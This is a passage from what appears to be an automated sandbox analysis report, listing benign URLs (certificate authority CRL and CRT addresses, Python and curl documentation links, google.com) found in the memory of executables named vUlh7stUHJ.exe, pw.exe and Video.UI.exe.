00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1438088331.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: pw.exe, 0000000E.00000003.1668847463.0000000001BF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/259174/
Source: pw.exe, 0000000E.00000003.1738796691.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748877032.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1743980128.0000000001D97000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1765034692.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1770875093.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1741929759.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744073457.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1754252598.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748068173.0000000001D94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1791732327.0000000003FE5000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1771102108.0000000003FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crlmeth
Source: pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: pw.exe, 0000000E.00000003.1783409846.00000000022C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1436040281.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: pw.exe, 0000000E.00000003.1750024027.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749404924.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1756565251.00000000023F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: Video.UI.exe, 00000004.00000003.1564992811.00000267AAE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dmd-ca-beta2/CertEnroll/Microsoft%20Digital%20Media%20Authority%202005.crl
Source: Video.UI.exe, 00000004.00000003.1564992811.00000267AAE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dmd-ca-beta2/CertEnroll/dmd-ca-beta2_Microsoft%20Digital%20Media%20Authority%202005.crt0d
Source: pw.exe, 0000000E.00000003.1738796691.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/license.html
Source: pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://foo.com/
Source: pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://foo.com:/
Source: pw.exe, 0000000E.00000003.1721968577.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1721603955.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722796605.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722874531.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722253380.00000000023E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1721603955.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729993425.0000000000F22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722017467.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1731240122.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728019212.0000000001CD2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749805094.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772292650.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1746215994.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1744625281.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
